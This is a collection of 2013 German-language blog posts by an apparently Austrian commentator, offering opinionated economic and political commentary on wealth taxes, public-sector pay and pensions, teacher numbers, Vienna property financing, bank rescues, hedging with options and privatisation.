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2013-08-10

Vermögensstudie & SPÖ-Vermögenssteuern

Ich sehe nicht die Superreichen als Problem, da gibt's auch die Bankenrettung und die Griechenland Gläubiger Rettung und und und

Schrieb heute: Eine seriöse Studie müsste Vermögen der Superreichen zur sozialen Umverteilung (z.B. Arbeitslose, Rente, Investitionen in Bildung, Forschung und Gesundheit) und unsozialen Umverteilung (z.B. Bankenrettung und Lobbyisten) durch den Staat in Relation setzen. Bei der sozialen Umverteilung muss man sich auch den Wirkungsgrad ansehen, also z B. wie viel vom Arbeitslosengeld wird in der Verwaltung verbraucht und wie viel kommt wirklich beim Arbeitslosen an.

Reiche: http://www.trendtop500.at/die-reichsten-oesterreicher/
Firmen: http://www.format.at/nw3/dyn/trend/top500_2011/start.php

Der Familie Porsche Piëch hat doppelt so viel Vermögen in Österreich, wie der Staat gerade in 2 Jahren für die österreichische Bankenrettung veranschlagte (noch ohne ESM & EU Bankenrettung und die Familie Porsche hat dieses Vermögen über Generationen in der ganzen Familie erwirtschaftet und ihr Geld liegt auf der PorscheBank und in Devisen, Grund und Firmenbeteiligungen, aber eher wenig auf den geretteten Banken)
Mit dem gesamten Vermögen des Inhabers von Red Bull könntest du nicht einmal 1 Jahr nur die Beamtenpensionen (=Renten der Staatsdiener, 22% beitragsgedeckt und viel höher als alle anderen Renten 80% beitragsgedeckt) in Österreich zahlen.

Quelle: http://derstandard.at/plink/1375625622279?_pid=32753140&#pid32753140
P.S.: Ich hätte gar keine so komplizierte Studie gebraucht, meine Schätzung aufgrund der 100 Reichsten ist hier: https://docs.google.com/spreadsheet/ccc?key=0Ajp8yYU5yBOBdGJKeVlJeDNiaDNkU1VJX21qeWZWeHc&usp=sharing

Der Griechenland-Effekt in Österreich

So kommt/kam es zum Griechenland-Effekt, jeder mag in den öffentlichen Dienst und niemand mehr in die Privatwirtschaft:

Hier geht es um Frontal-Unterricht mit 24h/Woche
http://diepresse.com/home/bildung/schule/1440234/SPOe-will-Lehrerregelung-durchboxen

Hier geht es um Arbeitszeiten auch für Schwermetaller bis zu 12h/Tag:
http://diepresse.com/home/politik/innenpolitik/1439641/12-Stunden-Arbeit-pro-Tag-Protest-gegen-OeVPPlaene

Und hier geht es um Arbeitszeiten bis zu 71h/Woche:

Jahr:    Anzahl Lehrer / Anzahl Geburten:
1950/51  58.004 / 107.845
1960/61  57.862 / 125.945
1970/71  68.342 / 112.301
1980/81 100.561 /  90.782
1990/91 112.746 /  90.454
1995/96 119.791 /  88.699
2000/01 125.177 /  78.268
2009/10 124.382 /  76.344
2010/11 124.921 /  78.724
2011/12 124.972 /  77.159

Quelle: http://www.statistik.at/web_de/static/lehrerinnen_und_lehrer_an_oeffentlichen_und_privaten_schulen_192324_bis_20_029732.xlsx

Bevölkerungspyramide:
http://www.statistik.at/web_de/downloads/webkarto/bevoelkerungspyramide/
Quelle: http://www.statistik.at/web_de/interaktive_karten/069124.html

Die Anzahl der Lehrer/Kind steigt ständig, aber die Qualität der Wissensvermittlung wird immer schlechter.

Ehrliche Frage an jede(n): Sie/Du haben/hast die Wahl zwischen
  1. Sicherer nahezu unkündbaren Job mit geringerer Arbeitszeit und etwas geringerem Lohn, der aber trotzdem linear steigt und mit sicherer Pension
  2. Unsicherer vollkommen flexibler Job, wo du jederzeit gekündigt werden kannst, wenn entweder deine Leistung nicht mehr passt oder das Unternehmen Schwierigkeiten bekommt! Sobald du gekündigt wirst, musst du mit einer Zeit der Arbeitslosigkeit bis zu einem Jahr rechnen. Danach kann es sein, dass du mit nur eine Anstellung mit weniger Gehalt bekommst. Ab 50 stehen die Chancen sehr schlecht überhaupt eine Anstellung zu bekommen, manche schaffen es aber trotzdem aber im Schnitt nach 2-3 Jahren Fortbildung und intensiver Suche
Problem dabei ist, dass staatliche Jobs zwar manchmal etwas zur Bruttowertschöpfung beitragen (z.B. Bildungsbereich), aber fast nie etwas direkt zur Leistungsbilanz oder Handelsbilanz. (indirekt schon, z.B. ist Sicherheit gut für Tourismus, während permanente Raubüberfälle schlecht für Tourismus sind; dennoch braucht es Tourismus-Dienstleister um die Wertschöpfung zu erzielen und die Sicherheit stellt hier nur einen unterstützenden Prozess dar)

Der Griechenland-Effekt in Österreich (Zahlen, Daten, Fakten): http://pastebin.com/cGmu3Mc3
Griechenland-Effekt = die privatwirtschaftlichen Arbeitsbedingungen werden konstant schlechter im Vergleich zu den Bedingungen im öffentlichen Dienst. Das einzelne Individuum wählt daher eher den öffentlichen Dienst als Arbeitgeber und es kommt durch das "Drängen" in den öffentlichen Dienst zu einer ungewollten leichten Ausweitung an Arbeitsplätzen dort. Diese ist nicht sehr groß von Jahr zu Jahr, aber in der Perspektive über sehr lange Zeit ist sie signifikant! 

2013-07-28

Alterspyramide: was tun, wenn ab 2020 die geburtenstarken Jahrgänge in den Ruhestand gehen?

Es gab eine wilde Diskussion hier:
an der ich mich leider auch beteiligte, wer was wem wegnehmen solle oder wie von wo umverteilt oder zugeschossen und woanders gekürzt werden sollte.
Dieses monetäre Denken ist Gift, denn es geht nicht nur um Geld umzuverteilen, sondern es geht viel mehr und gravierender darum Leistung umzuverteilen. 
Wie können wir Pflege, Betreuung, Altersarbeit in genossenschaftliche Strukturen organisieren und logistisch planen?
Es geht um Leistung für die Gesellschaft und wie wir diese Leistung menschlich, effizient in sich selbst organisierenden Formen sicher stellen und den richtigen Mix aus individuell und kollektivistisch finden.

Links: | Interaktive Statistik Alterspyramide | Präsentation Alterspyramide |
Ich fasse meine Meinung zusammen:
Es ist unrecht, Alte verwahrlosen zu lassen oder gar Euthanasie ähnliche Maßnahmen zu billigen.
Es ist unrecht, noch mehr Schulden auf Kosten der Jungen zu machen.
Es ist unrecht, (realwirtschaftliche) Leistung und Industrie noch höher zu besteuern oder den Wirtschaftsstandort weiter zu schädigen.

Es muss Pflege für Alte geben, die aber finanzierbar ist und die nicht zu Lasten von Arbeit, Wirtschaft, Bildung, Forschung, Innovation und Gesundheit fällt.



2013-07-04

Finanzierung von Eigentumswohnungen in Wien - Immobilienblase oder nicht?

Wie hoch sind die Kosten der Kreditfinanzierung von Eigentumswohnungen in Wien?


Eigentumswohnungen in Wien in der Größe von 60m² -  80m² kosten am freien Immobilienmarkt zwischen 100.000,- € und 500.000,- €, wenn man die oberen und unteren extremen Ausreißer mal aus den Angeboten herausfiltert. (3 unteren Ausreißer ab 70.000,-€ und 3 oberen Ausreißer bis zu 990.000,-€, Quelle: http://www.freeimmo.at/50129-wohnungen-kaufen-in-wien)

Als ungefähr geschätztes Mittel nehme ich jetzt einmal einen Kaufpreis von 250.000,-€ an.

Mal sehen, was das Kreditrechnerservice http://biallo.diepresse.com/Kredit/Kreditrechneri.php uns für Angbote macht:
Nachdem es hier nur Angebote für 10 Jahre Laufzeit gibt mit monatlichen Raten im Bereich von 2.800€, wählte ich einen Kreditrechner, wo auch die Eingabe von längeren Laufzeiten möglich ist.
Bei 25-jähriger Laufzeit und angenommener 6,25% Verzinsung beträgt die monatliche Rate noch immer satte 1.663,- und hier machen die zuzahlenden Zinsen alleine 248.900,- € aus, wobei sich aber die wenigsten privaten ¼Jahrhundert mit Kreditrückzahlungen belasten wollen.

Ich bin mir auch 100% sicher, dass keine Bank diese beiden Kredite ganz ohne Eigentmittel nur mit einer Hypothek auf die Wohnung als Sicherheit vergeben würde. Das war bereits in der Subprimemarket-Krise der grundlegende Fehler, aber der Grund wird auch klar ersichtlich, wenn wir uns unter Edikten die Zwangsversteigerungen von Eigentumswohnungen ansehen:
http://www.edikte.justiz.gv.at/edikte/ex/exedi3.nsf/suche?OpenForm&subf=e&query=%28[VKat]%3DEW%29%20AND%20[BL]%3D0

P.S.: Das Edikteverzeichnis enthält ein nettes Zusatzfeature, dass wahrscheinlich nie so beabsichtigt war und möglicherweise nicht 100% rechtlich im Übereinklang mit  Datenschutzrichtlinien steht:
Ein alter inliquider Mann kann reiche junge Frauen finden, die Eigentum besitzen!

Trotzdem wollte ich prinzipiell auf was anderes hinaus:
Früher war es für Facharbeiter_innen oder kleine Gewerbetreibende ebenfalls möglich sich Eigentum durch fleißíge Arbeit/tüchtiges Wirtschaften und jahrelanges Sparen/Kredit zahlen zu schaffen. Sollte es sich um eine Immobilienblase handeln, dann wäre es nur jetzt gerade unmöglich. Allerdings glaube ich, dass zwar im Moment preisliche Überhitzung aufgrund hoher Nachfrage und mangelndem Angebot stattfindet, aber es sich keineswegs um so eine Riesenblase handelt, wie manche glauben. Beachtlich ist hier, dass Ende 2012 (vor ½ Jahr!!!) noch zwangsversteigernde Objekte zwischen 30.000,-€ und 56.000,-€ Erstgebotswert in den Editken zu finden waren.

Das ist aber nicht die einzige Marktverzerrung bei Grund und Boden. Für keinen einzigen Landwirt in der €-Zone ist es defacto rentabel in Mittel- und Nordeuropa  neues Ackerland zu erwerben und zu bestellen. (Selbst wenn wir die EU-Subventionen miteinrechnen) Sprich der Berufsstand der Landwirte unterliegt nicht mehr dem freien Markt, sondern es ist zu einem reinen Besitzstand geworden, der sich langsam und stetig verringern wird!

2013-06-29

Wir müssen immer die Banken retten, sonst sind alle mittleren Unternehmen sofort pleite?

Dieses Argument hört man in letzter Zeit oft von Bankenrettungsfans. Herr Varader schrieb im Forum der Presse:
Mittlere Unternehmen haben dort schon mal Millionen liegen, um Löhne , Material etc. zu zahlen. Der Unternehmer hat damit nicht in die Bank im eigentlichen Sinn "Investiert".
Geht nun nach dieser Vereinbarung eine Bank pleite, dann wird dem Unternehmer über Nacht die liquiden Mittel auf 100.000 gekürzt. Mit der folge das Material, Lohn etc. nicht mehr gezahlt werden können. Selbst die Steuern nicht mehr.
Damit ist er pleite, geht in Insolvenz die Leute werden Arbeitslos OBWOHL der Unternehmer nicht in die Bank Investiert hatte. Es führte lediglich ein Konto um zahlungen bargeldlos abzuwickeln.
Für Aktionäre Ivenstoren und Spekulanten ist die Vereinbarung gnadenlos einzusetzen, denn die Investiern mit Gewinnabsichten und entsprechenden Risiko.
Daher müssten Girokonten von der Rettung ausgenommen werden, besonders unter dem Gesichtspunkt das im Zweifel die 100.000 € Grenze nicht hält und eine Rettung bis zum kleinsten durchschlagen könnte. Von den wirtschaftlichen auswirkungen gar nicht gesprochen wenn 1000te kleine mittlere und gro0e Firmen über Nacht auf 100.000 € Liqutität zurückgesezt werden.
Stellen Sie sich vor, der VW Konzern mit MRD auf dem Konto für Zahlungen an Kunden, Mitarbeiter etc. hat über nacht nur noch 100.000 € zur Verfügung. Da ist der Wirtschaftscrash programmiert.
Ich entgegnete:
Für mittlere Unternehmen gibt es die Möglichkeit von
1.) Bankgarantien
2.) unterschiedlichen Konten (mir ist es so und so nicht klar, warum Unternehmen, im SAP zig Personalverrechnungskonten haben, die dann nur einem phsysischen Konto zugeordnet sind.
(Ich habe selbst in KMU gearbeitet, die sich erstens sichere Geschäftsbanken gesucht haben und dann 2 Personalverrechnungskonten, 2 Auftrags- und Eingangskonten und 1 Spesenkonto für Anschaffungen hatten. das waren Unternehmen mit 30 Angestellten und 1x in der Woche nahm sich die Chefin für ½ bis 1 Stunde zur Umschichtung Zeit!)
Weiters gehen Experten davon aus, dass bei Unternehmen der Cashflow schnell wieder hergestellt ist.
Modernere Unternehmen haben ganz andere Sicherheiten in ihren Bilanzen, als Geld auf der Bank, die immer relativ schnell verwertbar und vollkommen bankenunabhängig sind.
Oder man nimmt sich ein Beispiel an der Familie Porsche Pierch, die einfach eine eigene Hausbank, namens Porschebank gegründet hatte.
Schauen wir und einmal die Bilanz eines mittleren österreichischen konservativen Unternehmens an: http://www.voestalpine.com/group/downloads/de/publikationen-2011-12/2011-12-geschaeftsbericht.pdf

14. Übrige sonstige betriebliche Aufwendungen
In den übrigen sonstigen betrieblichen Aufwendungen sind unter anderem folgende wesentliche Posten enthalten: Honoraraufwendungen für Konsulenten und Gutachter, sonstige fremde Dienstleistungen, Werbeaufwendungen, Beiträge an sonstige Verbände und Vereine, Aufwendungen für unternehmensfremde Arbeitskräfte, Mieten, Pachten, Reise- und Werbeaufwendungen.

15. Erträge aus Beteiligungen
Die Beteiligungserträge betragen 522,3 Mio. EUR (davon 518,4 Mio. EUR aus verbundenen Unternehmen).

16. Erträge aus dem Abgang von und der Zuschreibung zu Finanzanlagen und Wertpapieren des Umlaufvermögens
Unter diesem Posten wird insbesondere die Zuschreibung einer vollkonsolidierten Beteiligung ausgewiesen (460.000,0 Tsd. EUR). Die Erträge aus dem Abgang von Wertpapieren des Umlaufvermögens in Höhe von 3.995,2 Tsd. EUR stammen aus der Veräußerung von eigenen Aktien.

17. Aufwendungen aus Finanzanlagen und aus Wertpapieren des Umlaufvermögens
Diese Position enthält Verluste aus dem Abgang von eigenen Aktien (0,7 Tsd. EUR).

18. Zinserträge, Zinsen und ähnliche Aufwendungen
Der Saldo aus „Sonstigen Zinsen und ähnlichen Erträgen“ und „Zinsen und ähnliche Aufwendungen“ ergibt für das Geschäftsjahr 2011/12 einen Aufwand in Höhe von 201.128,7 Tsd. EUR. Die Zinserträge bestehen großteils aus Zinsen aus Wertpapieren des Umlaufvermögens, aus Darlehenszinsen von verbundenen Unternehmen und aus Swapzinsen. Die Zinsaufwendungen beinhalten Zinsen von verbundenen Unternehmen, Swapzinsen und sonstige Aufwandszinsen. Die in den Zuweisungen zu den Rückstellungen für Abfertigungen (311,1 Tsd. EUR), Pensionen (1.376,8 Tsd. EUR) und Jubiläumsgelder (51,2 Tsd. EUR) enthaltenen Zinskomponenten sind analog zum Vorjahr ebenfalls im Zinsaufwand enthalten.

Anmerkungen:
Während Swaps für die Stadt Linz und das Land Salzburg eine nicht geeignete Anlageform waren, machen cross-currency swaps und Devisenportfolios für international agierende Unternehmen Sinn, wenn Sie mit Maß und Ziel verwendet werden. Ein international agierendes Unternehmen möchte sich gegen Wechselkursschwankungen und zu hohen Kreditzinsen nach Möglichkeit absichern. Es kann sein, dass der Zeitpunkt zum Bau eines Werkes in Texas gerade realwirtschaftlich günstig und nötig ist, aber schlechte Devisenwechselkurse oder ein für das Unternehmen schlechtes Zinsniveau würden  erhebliche Kosten verursachen. Um das zu verhindern sichert sich das Unternehmen in bestimmten Maß gegen diese Risiken ab. Im Gegensatz zu Spekulanten, die rein nur aus Geld mehr Geld machen wollen, haben hier diese Finanzinstrumente eine sinnvolle Funktion und basieren immer auf einem realwirtschaftlichen Geschäft oder einem geschäftlichen Vorhaben in Planung.
So ich schreibe trotzdem mal eine Kritik, warum Wetten und Termingeschäfte gut und auch als verantwortungsvolle Instrumente eingesetzt werden können.
Die Telekom Kursmanipulation in Österreich ging schwerer als gedacht und nur mit Hilfe eines kapitalstarken ausländischen Kursmanipulators. Warum? Weil es abgesehen von den Leerverkäufen zig Wetten und Swaps gibt, die Sinn machen und die durch viele Termingeschäfte eine zu starke Schwankungsbreite der Börsenkurse etwas einengen.
Eine Fluglinie oder ein Industrieller möchten immer, wie jedes andere Unternehmen auch, Planungssicherheit haben. Die Rohstoffe, die für die Industrie benötigt werden und das Kerosin unterliegen aber Preisschwankungen an den Börsen und Märkten. Angenommen der Kerosinpreis steigt um 8% in einem Monat. Bereits vorgekaufte Tickets dürfen nicht mehr preislich per Gesetz verändert werden oder von den Passagieren Sondergebühren verlangt werden. Auch bei lastminute tickets wäre es irgendwie Mist, je nach Handelstag/Handelsmonat die aktuellen Ölpreisschwankungen an die Kunden direkt weiter zu geben. Also hedgen die Fluglinien das Kerosin. Das funktioniert auf mehrere Arten:
1.) Irgendein Terminbörsenhändler sagt, dass er zum vereinbarten Termin Kerosin um diesen Preis sicher liefern kann. Ist der Börsekurs an dem Tag niederer als sein Preis, ist das ein Geschäft für ihn. Ist er höher, dann macht er Verlust. Eine seriöse auf Termingeschäfte spezialisierte Firma wird im Schnitt leichte Gewinne machen, aber auch manchmal Verluste, sie bietet einfach stabilere etwas teurere Preise als der normale Kurswert als Versicherung gegen zukünftige Preisschwankungen an.
Auch der Industrielle will vielleicht lieber etwas mehr für Rohstoffe zahlen, als komplett den Schwankungen der Märkte ausgesetzt zu sein!
2.) Die Fluglinie wettet selbst auf steigende Kerosinpreise oder geht noch simpler mit dosierten longs oder pull calls  auf den Ölpreis. Sinkt der Kerosinpreis,  macht die Fluglinie natürlich einen großen Verlust bei der Wette. Durch den sinkenden Kerosinpreis sinken auch die Reallkosten der Fluglinie und damit wird der Verlust der Wette kompensiert. Steigt der Kerosinpreis, dann gewinnt die Fluglinie um so mehr, je mehr der Preis gestiegen ist. Der Gewinn aus der Wette kompensiert wieder ihre höheren Realkosten, die durch den steigenden Kerosinpreis verursacht wurden. Bleibt der Preis in etwa gleich, dann macht die Fluglinie leichte Verluste mit der Wette, die aber sich im Rahmen halten. Die Fluglinie hat zwar durch die Wette im Durchschnitt höhere Gesamtkosten, aber es gibt kein Worst-Case Szenario mehr, wo die Kosten plötzlich explodieren können.
Hier steht alles detailliert über Optionen, meine Erklärung ist natürlich simplifiziert:
https://de.wikipedia.org/wiki/Option_%28Wirtschaft%29
Und jetzt bitte selbst mal darüer nachdenken:
Sind Wetten gut, die extreme Schwankungen und extrem hohe oder niedere Lebensmittelpreise verhindern?
Ich würde sagen JA, denn bei extrem hohen Preisen trifft es die Bevölkerung und bei extrem niederen die Landwirte und Lebensmittelhersteller.
Ich denke mir folgendes: Steht hinter einer Wette ein echtes existierendes realwirtschaftliches Geschäft (wie bei der Fluglinie oder den Industriellen, die ja tatsächlich echtes Kerosin und Rohstoffe für ihre Dienstleistung oder Fertigung kaufen) und wird die Wette benutzt um hohe Schwankungen an den Märkten zu vermeiden, dann ist die Wette ein sehr gutes, sinnvolles und verantwortungsvolles Instrument!
Spekuliere ich nur mit put, pulls, long, shorts als kleiner Player kann das den Kurs ebenfalls stabilisieren, aber bin ich Teil eines Schwarms von Lemmingen, die alle das gleiche machen, wird es starke Schwankungen durch Hoch- und Niedertreiben des Kurses auslösen!
Bin ich ein kapitalstarker Investor oder ein  Kleinanlegerverein von 1.000 Leuten, wo jeder nur so seine 1-10Millionen € hat, aber die alle zusammenlegen und benutze die Nahrungsmittel als "sicheren Anlagehafen" ist das natürlich auch eine Riesenscheiße. Die Kapitalkraft über 1-10 Milliarden € oder $ wurscht kann in ein einzelnes Lebensmittel gesteckt den Preis auch gleich künstlich in extreme Höhen  treiben. (siehe der Schweinezyklus: Angebot und Nachfrage, wobei hier ja nicht das Lebensmittel zu den Anlegern hergekarrt wird und in einem Silo gehortet wird, sondern entweder nur reserviert oder gar nur virtuell verknappt wird, was sich nur durch eine Preissteigerung in der realen Welt sichtbar macht)
Das Schlimmste daran ist aber folgendes: Sobald sich die Märkte wieder beruhigt haben und der kapitalstarke Player oder die Kleinanleger in Masse nun den sicheren Hafen verlassen, sinkt der Preis des Lebensmittel gewaltig, weil 1-10 Milliarden plötzlich auf einen Schlag abgezogen werden!

2013-06-28

Budgetdefizite über Jahre oder wie die Republik Planung a priori erschwert

Vertrauensschutz im Entlohnungsschema der Beamt_innen

Die Beamt_in muss darauf vertrauen können,
  1. dass sie einen besonderen Kündigungsschutz genießen, 
  2. dass ihre Dienstverträge eingehalten werden und 
  3. dass sie ein ständig stetig steigendes Gehalt bis zur Pension erhalten,
    egal ob das Geld im vorgesehen Budget vorhanden ist oder auch nicht.
Hier ist eigentlich nur der Punkt 3 sehr problematisch. Zur Erläuterung hole ich etwas aus:

Alle Landwirte und Unternehmer_innen wissen, dass ein lineares konstantes Einkommen/ Gehalt eigentlich kaum in Realität so vorkommt, denn sie haben unterschiedliche gute Geschäfts- und Erntejahre und weiters sind sie von saisonalen Schwankungen häufig betroffen. Von Unternehmer_innen und Landwirten wird erwartet, dass Sie meisterlich planen und sich ihr Einkommen sorgfältig einteilen und wenn möglich auch Rücklagen bilden. Unternehmer_innen zahlen aber ihren Arbeiter_innen und Angestellten meist einen fixen Monatslohn, den sie wie alle anderen monatlichen Fixkosten in ihr Budget und ihre Finanzen einplanen müssen.
Von Arbeiter_innen und Angestellte wird nicht verlangt, dass sie sich Gewinne über das Jahr gut einteilen, Rücklagen für Investitionen bilden und dem Ethos des sorgsamen Kaufmann folgen. Die klassische Unternehmer_in hat das volle unternehmerische Risiko, allerdings bleibt ihr alleine im Erfolgsfall auch die Reingewinne.
Neuere Modelle beteiligen Arbeiter_innen und Angestellte an Unternehmensgewinnen (und Verlusten). Ein von mir bevorzugtes Modell ist es, Arbeiter_innen und Angestellte einmal prinzipiell nur nach Kollektivvertrag zu zahlen. Kritiker_innen würden jetzt meinen: "If you pay penatus, you get monkeys!" Diese Allegorie stimmt auch, nur in dem von mir bevorzugten Modell, bekommen Arbeiter_innen und Angestellte eine zusätzliche Prämie nach Leistung und nach Erfolg des laufenden Geschäftsjahres. Dieses Modell verhindert, dass Löhne in guten Jahren weit über KV angehoben werden und die Mitarbeiter_innen sich an das höhere Lohnniveau gewöhnen, was so in schlechteren Jahren im Falle von Lohnsenkungen (Löhne immer > KV) zu Konflikten führt. Allerdings wird gleich der ganze vorgesehen Anteil im exzellenten Jahr an die Mitarbeiter_innen weitergegeben.
Es gibt unzählige weitere Arten von Mitarbeiter_innen-Beteiligungsmodellen angefangen von Inzentives über Prämien bis hin zu Unternehmensbeteiligungen in Form von Aktien usw.

Wir sehen:
Viele Mitarbeiter_innen wollen heutzutage am Unternehmenserfolg (und Misserfolg) beteiligt sein und Unternehmer_innen wollen auch ihre Mitarbeiter_innen beteiligen.

Aber:
Sollte eine Unternehmer_in einen viel zu optimistisch geplanten unkündbaren Arbeitsvertrag mit ihren Arbeiter_innen und Angestellten abschließen, dann führte das häufig wahrscheinlich zu Überschuldung des Unternehmens und die eine der möglichen finalen Konsequenz wäre Ausgleich oder Insolvenz.

Nun zurück zu den Beamt_innen:
Das Beamtendienstrecht und Entlohnungsschema ist starrer und unflexibler als alle jährlich durch die Sozialpartnerschaft neu verhandelten und den Umständen angepassten KVs. (Mit einem Beamtenschema hätte sich der Fachverband der Metallindustrie und die Metallergewerkschaft sicher nicht auf Kurzarbeit oder andere sinnvolle (im Nachhinein erfolgreiche) Modelle zur Krisenbewältigung einigen können.)  Das Beamtenschema gilt immer für eine ganze Generation an Beamt_innen. Auch jedes neu verhandelte Schema gilt dann wieder genau so lange und das alte Schema bleibt parallel erhalten, solange bis der letzte Beamte des alten Schemas aus dem Ruhegenuss den österreichischen Staatsdienst endgültig für immer verlassen wird. (Zum Glück hat der letzte russische Besatzungssoldat schneller Österreich verlassen als der letzte Beamte des alten Schemas und deswegen wurde ihm auch am Schwarzenberg-Platz ein Denkmal gesetzt.) Als Maria Fekter in der Not der €urokrise die Laufzeit einiger Kredite für Staatsschulden bis in das Jahr 2063 hinaus weiter verlängerte, meinten manche Kritiker_innen, dass so lange Laufzeiten vollkommen irrwitzig wären. Tritt aber heute ein 18-jähriger in den Staatsdienst ein, so wird er 47-Jahre nach dem bestehenden Beamtenschema entlohnt werden. Er scheidet im Jahr 2060 aus seiner aktiven Beamtenlaufbahn aus und damit gilt sein Einstiegsschema bis ins Jahr 2060, selbst wenn noch heuer ein neues Beamtenschema beschlossen werden würde! Diese Fixkosten sind sogar noch fixer als Kreditzinsen für Staatsschulden, weil dort mögliche Tricks mit Swaps oder nach Leitzinsentwicklung anwendbar sind.
Die Budgets der Republik müssen aber immer gewisse Flexibilität aufweisen, sonst wären  Hochwasserhilfe, Reperaturzahlungen für NS-Opfer oder Konjunkturpakete in der €uro-Krise nicht möglich. Die Kosten für die Beamt_innen sind aber ein starrer Fixblock im Budget.

Warum darf der Bürger eingenlich nie darauf vertrauen, dass die Republik sorgsam und zukunftsorientiert nachhaltig haushaltet?

Das Problem bei der Lehrer_innen ist leider folgendes
Normalen intelligenten Leuten kann man begreiflich machen, dass wenn man jetzt auf ein klein wenig verzichtet, der Ausblick für die Zukunft wesentlich besser aussieht und später, wenn die Staatsschulden nicht mehr wachsen wieder auch mehr Budget für Beamt_innen drinnen ist. (Wenn der Brocken für die bestehenden Zinsen nicht mehr jedes Jahr wächst, sondern wieder schrumpft, dann steht mehr Geld für die anderen staatlichen Bereiche zur Verfügung.)

Die Lehrer_innen reagieren, wie kleine Kinder: "Ich will das unbedingt jetzt, ich will das unbedingt sofort!", also nur auf direkte unmittelbare anreizbasierte Motivation.
Was könnte euch sonst noch motivieren?
Stripbar? Drogen? Sex? Statussymbole?
Ich kann da was machen ;=)

Justizwache an Ministerin: „Mehr Personal unabdingbar“

So inzwischen sind im österreichischen Strafvollzug Zustände eingekehrt, wo Mißhandlungen von Jugendlichen, Vergewaltigungen und Menschenrechtsverletzungen  "üblich" geworden sind und wie ein Kavalliersdelikt abgetan werden.

http://diepresse.com/home/panorama/oesterreich/1424302/Justizwache-an-Ministerin_Mehr-Personal-unabdingbar
Ich bin jetzt mit sofortiger Wirkung für ein Verfassungsgesetz, dass alle Ruhegenüsse über 3.000,-€ brutto umwidmet, bis das System wieder auf Fordermann gebracht wurde! Die jetzigen Ruhegenüssler, egal ob Lehrer, Richter oder Staatsanwälte haben in ihrer letzten aktiven Zeit aufgehört zuverlässige Staatsbürger_innen zu sein. Geblendet von fürstlichen Ruhegenüssen und der Chance auf Frühpension unter Zweckentfremdung der Hacklerregelung haben sie Zustände einreißen lassen, wo Kinder nicht mehr sinnerfassend lesen lernen, Menschenrechtsverletzungen und Mißhandlungen im Strafvollzug "üblich" geworden sind und wie ein Kavalliersdelikt abgetan werden. Auch die Abschaffung des Jugendgerichtshof zeigt das mangelnde Pflichtbewusstsein der jetzigen Ruhegenüssler!

2013-06-22

Österreichische Bundesregierung plant neue Gesetze

Leider muss ich die genaue Analyse etwas verschieben:
http://www.parlament.gv.at/PAKT/PR/JAHR_2013/PK0509/

http://www.parlament.gv.at/PAKT/VHG/XXIV/I/I_02399/index.shtml

Diese Gesetzesänderungen sind doch etwas komplex: http://www.parlament.gv.at/PAKT/VHG/XXIV/I/I_02399/index.shtml

Sell in may and go away

Die alte Börsenweisheit stimmt 2013 noch immer, wie auch die Jahre zuvor.
Manche möchten das aber nicht wahr haben und die machen dann auf John McEnroe an der Börse:
http://www.boerse-express.com/pages/1359739/fullstory?page=all

Aber auch das hatten wir schon letztes Jahr im Mai:
https://plus.google.com/u/0/105796021448398557678/posts/2ApJPTP7fU1

Jungs merkt euch eines:
Im Mai oder kurz vor Mai also im April macht man keine Neubörsengänge und Fusionen
Links: Eurozonen Börsenindices. Rechts: USA30, Schweiz20, GB100, Japan225, u.w.

2013-06-21

Privatisieren: Bitte differenziert denken lernen!

https://derstandard.at/plink/1371170205601/32135567

Also Wasser privatisieren ist dumm, weil das war nirgendwo nachher billiger. Wasser wird langfristig an Wert gewinnen, alleine deswegen zahlt sich eine Privatisierung nicht aus.
Beim Privatisieren kommt es auf die Leute, aber auch auf die Branche an. Durch die Privatisierung der VÖEST wurde viel gewonnen und eine veraltete staatliche Industrie wurde modernisiert und gute Arbeitsplätze blieben erhalten. Bei BUWOG und Dorotheum war die Privatisierung ein Reinfall.
Bei der Hypo war die Notverstaatlichung außer noch mehr Spesen nichts gewesen! Die BAWAG wurde erfolgreicher gemanaged (War ja auch ein Roter und IVler der Held)

Es gibt Branchen, wie Radio und Fernsehen, wo niemand ernsthaft mehr ein staatliches alleiniges Monopol fordert (außer einige totalitäre Deppen), aber jeder den staatlichen Rundfunk unbedingt belassen will. Dann gibt es Branchen, wie Glücksspiel, da birgt die Privatisierung Risiken. In England hat sich die Privatisierung der Busunternehmen nicht gerechnet, der Ausverkauf von Mini an BMW hat das Unternehmen gerettet. Also bei Industrieproduktion und Fertigung scheint Privatisierung oft nicht so schlecht. Bei anderen Branchen zahlt sich eher nur  Liberalisierung oder Teilprivatisierung aus. Bei wieder anderen ist das ein Verlust und die Preise werden teurer statt billiger.

Hausaufgabe an alle Ökonomen, Neos und die IV bis nächsten Monat, damit ihnen im Sommerloch nicht FAD ist:
"Ermitteln der Bereiche und Umstände, wo Privatisierung ein Erfolg war und zwar in Bezug auf Arbeitsplatz- und Standortsicherheit, Zukunftssicherheit und Preis/Leistung. Ermitteln der Bereiche, wo es ein Reinfall war. Ermitteln der Bereiche, wo Teilprivatisierung und Liberalisierung das Erfolgsrezept war"

Ich kann die polarisierte Meinung in Vollstaat und Vollprivat nicht mehr hören, weil jeder Depp weiß, dass diese beiden extreme Gacke sind!

Ich meine damit die Gesamtzahl an zukunftswahrscheinlichen Arbeitsplätzen.
Natürlich kommt es da auch immer auf den Staat auch an, ob der die Abgaben dauernd erhöht oder reduziert, aber das kann man mal außer Acht lassen. Ich bin mir nämlich ziemlich sicher, dass es wirklich signifikante Unterschiede nach Bereich und Branche gibt

2013-06-20

20.6.2013: Gold -4% Silber -6,5% DAX -3,5% €/$ -0,5%

Quelle: http://www.finanzen.at
Quelle: http://www.finanzen.at/devisen/dollarkurs?rd=fn
Kaum kündigt Benmarke an die Liquidität wieder etwas zu drosseln und im Rahmen der FED keine weiteren Anleihenkäufe zu tätigen, sinken die Rohstoffpreise für Gold, Silber, Erdöl, Erdgas gleich um einiges, da sie vorher nicht etwa wegen Peak Oil, sondern wegen der Hyperliquidität und dem Flüchten der Anleger in "stabile" Werte, gestiegen sind!

2013-06-19

Review: Zukunftsvorsorge NEU

Zitat aus http://www.versicherungsjournal.at/markt-und-politik/zukunftsvorsorge-neue-reform-gefordert-12590.php
"Der Pensionistenverband fordert eine neuerliche Reform. Zentrale Elemente sollen die Abschaffung der Mindestaktienquoten und eine garantierte Mindestverzinsung sein."

Eine garantierte Mindestverzinsung kann bei klassischen Sparzinsen nur in Länder erfolgen, wo (Leitzins - Inflation) > geforderter Mindestverzinsung.

Durch wirtschaftliche Dynamiken ändern sich Risiken und Erträge von einzelnen Investitionsinstrumenten und es gibt keine 100% Garantie bei egal welchem Finanz- oder Investitionsprodukt.

